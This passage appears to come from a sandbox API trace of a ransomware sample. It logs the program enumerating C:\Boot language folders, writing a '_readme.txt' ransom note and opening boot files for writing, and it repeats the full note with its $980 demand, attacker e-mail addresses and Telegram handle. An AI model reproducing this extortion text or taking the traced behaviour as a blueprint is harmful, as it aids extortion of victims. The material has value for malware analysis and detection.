payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.084] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.084] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0267.084] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.084] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.084] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.084] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.085] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.085] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0267.085] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned=".mui" [0267.085] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.085] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.085] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.085] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.085] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.085] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.085] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.085] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.085] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0267.085] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.085] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.085] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.085] PathFindFileNameW (pszPath="") returned="" [0267.085] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.085] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.086] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.086] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.086] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.086] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x31099a8 [0267.086] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.086] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.086] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0267.086] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.086] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0267.086] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0267.086] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.086] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.086] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0267.086] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.087] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.087] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.087] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.087] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.087] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081918 [0267.087] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned=".mui" [0267.087] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.087] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.087] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.087] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.087] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.087] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.087] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.087] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.087] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0267.087] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.087] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.088] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.088] PathFindFileNameW (pszPath="") returned="" [0267.088] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.088] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.088] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.088] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.088] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.088] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0267.088] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.088] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.088] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0267.088] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.088] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0267.088] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0267.088] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.089] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.089] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0267.089] CreateFileW 